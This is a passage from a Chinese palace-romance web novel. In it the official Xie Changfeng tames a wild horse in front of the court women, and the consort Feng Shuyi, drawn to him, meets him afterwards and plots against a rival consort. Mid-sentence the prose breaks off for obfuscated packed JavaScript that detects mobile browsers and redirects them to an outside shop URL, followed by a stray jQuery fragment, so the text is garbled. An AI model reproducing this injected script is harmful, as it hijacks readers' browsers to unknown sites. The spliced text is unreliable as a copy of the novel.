众人说笑了片刻,便以德妃与崔锦为首,朝里面的马场走去。
谢长风已换了一身利落的骑装,刚从帐中走出。
看到众人,他立刻上前行礼,姿态从容:“微臣见过德妃娘娘,见过太子妃、侧妃与诸位夫人。”
他礼数周全,目光在扫过冯书仪时,却几不可察地停顿了一瞬,唇边一丝极淡的笑意掠过,快得仿佛只是错觉。
冯书仪心头一跳,下意识垂眸避开。
可心中却因他这般对旁人截然不同的态度,泛起一丝隐秘的甜意。
“谢大人不必多礼。”
德妃轻笑道:“听闻你昨日为皇上驯服了好几匹烈马,今儿知道你还要再驯,大伙儿可都来捧场,要一赏谢大人风姿了。”
“娘娘过誉,为皇上驯马乃臣之荣幸。”谢长风谦逊拱手。
很快,马夫牵着一匹高大的棕马走了过来。
那马**色油亮,四肢健硕,瞧来神骏非常,性情也颇为温顺。
可当谢长风接过缰绳,利落地翻身而上,落在马背的瞬间,这棕马却猛地发出一声尖锐的嘶鸣,前蹄骤然高高扬起,近乎人立而起。
它疯狂地跳动甩动,试图将背上的人狠狠甩下去!
场边顿时响起几声低呼。
冯书仪心里一紧,下意识地攥紧了手中的帕子。
这一刻,她心里升起一股自己都没察觉到的担忧。
好在谢长风早有准备,在马立起的瞬间,他牢牢抓着缰绳,双腿夹住马腹,腰背绷直地稳坐在马背上,任凭那烈马如何暴躁狂跳,都未能将他甩脱。
烈马见直立无效,开始疯狂地尥蹶子,后蹄狠狠向后踢蹬。
甩不掉谢长风,它便猛地向前冲刺而去,不断急停、甩头,马场内瞬间尘土飞扬,充满尖锐高昂的嘶鸣声,听得一众女眷心头狂跳。
谢长风伏低身体,脸颊紧贴着马颈,躲避着烈马甩头的撞击,手臂因用力而肌肉贲张。
他周身没了平日里的温润风流,取而代之的是全神贯注的冷峻与一种近乎野性的侵略欲。
冯书仪手中帕子被攥得更紧,眼睛几乎放光。
是了……是她最钟爱的男性荷尔蒙。
她总说谢长风是情场浪子,是笑面狐狸,心机深沉又斯文败类,却忘了这人亦是个内功深厚的练家子,身手强到能与男主萧临平分秋色。
他表现出来的的确是温润如玉的风流模样。
可论性张力,他毫不逊于萧临。
今日她竟才恍觉这一点。
正在此时,场上烈马人立旋转,谢长风的目光也倏然抬起,精准地对上了冯书仪发亮的双眸。
四目相对,他眼中尚未褪去的攻击性与侵略性,如有实质般撞进了冯书仪心里。
心跳瞬间快到几乎跳出胸膛,这一次,她再也忽视不了心中的悸动。
她是怎样爱上萧临的,便会怎样爱上谢长风。
甚至更甚。
谢长风与她的对视仅持续了一瞬,便迅速收回目光,继续应对身下狂躁的烈马。
足足过了有一刻钟,烈马的体力消耗巨大,渐渐不支。
它反抗的力度慢慢在减弱,谢长风看准时机,猛地拉紧缰绳,一甩马鞭。
烈马口中发出一声嘶鸣,前蹄重重落地,甩了甩头,终于停止了疯狂的挣扎,在谢长风的控制下,绕着马场奔跑起来。
一圈之后,谢长风这才翻身下马。
他额发间多了几滴汗水,有几缕发丝已贴在额角,骑装上也沾了尘土,却丝毫不显狼狈,反因他仪态有度而多了几抹不羁的风流。
场边顿时响起一片松气和赞叹之声。
德妃抚掌而笑:“谢大人果然好本领,怪道皇上对你赞不绝口!”
她瞧着,怕是等不到马铃薯试种成功,这年轻人就又要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721625|186283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
升官了。
谢长风拱手谦辞,略客气几句后,便告退离开。
他没再看冯书仪,目不斜视地离开,背影却有些仓促。
冯书仪本有些失落他视她如无物的举动,可看着他似乎有些落荒而逃的背影,又隐隐猜到了什么。
见德妃在拉着崔锦说笑,对马场里的马评头论足,她略坐了会儿,算着时间,假作更衣便离开了。
角落里的一处帐中,谢长风沐浴更衣后便踱步出门。
不妨目光中倏然多了一个青衣身影。
“谢大人。”冯书仪站在林外,笑眼盈盈地看着他,眉梢微挑,“你怎走得这样快?本还想与你说几句话,未想却叫人失望,竟只能来这里寻你。”
谢长风素来无惊的脸上罕见地浮出一抹赧色:“方才微臣身上狼狈,若再站在女眷面前,便有些失礼了。”
“是么?”
冯书仪面露惊诧,语气却微有失落:“我还以为……你是怕在我面前失礼呢,原来我只是顺带么?”
“当然是因为你。”
谢长风说完,又笑了笑,脸色恢复以往的泰然:“都说女为悦己者容,可男子又何尝不是?”
冯书仪唇边这才浮起一抹满意的笑。
马场这边虽防范不严,但也是人来人往之处,她没再多说,便匆匆离开了。
回去的路上,正见崔锦踱步走来,似乎是去更衣。
两人对上目光,瞬间都心知肚明——吕良娣准备动手了。
已经到这地步,冯书仪也不介意再多卖个好,便道:“西南侧的净房有些鼠蚁,还是妾身陪您一道去吧。”
有她这个人证,崔锦并非做戏的信服力便更足。
——青州最近不太平,吕良娣的兄长又恰巧有些本事,正值重用之际,若不抓个现行的把柄,只怕很难动吕奉仪。
崔锦含笑颔首:“那便多谢侧妃了。”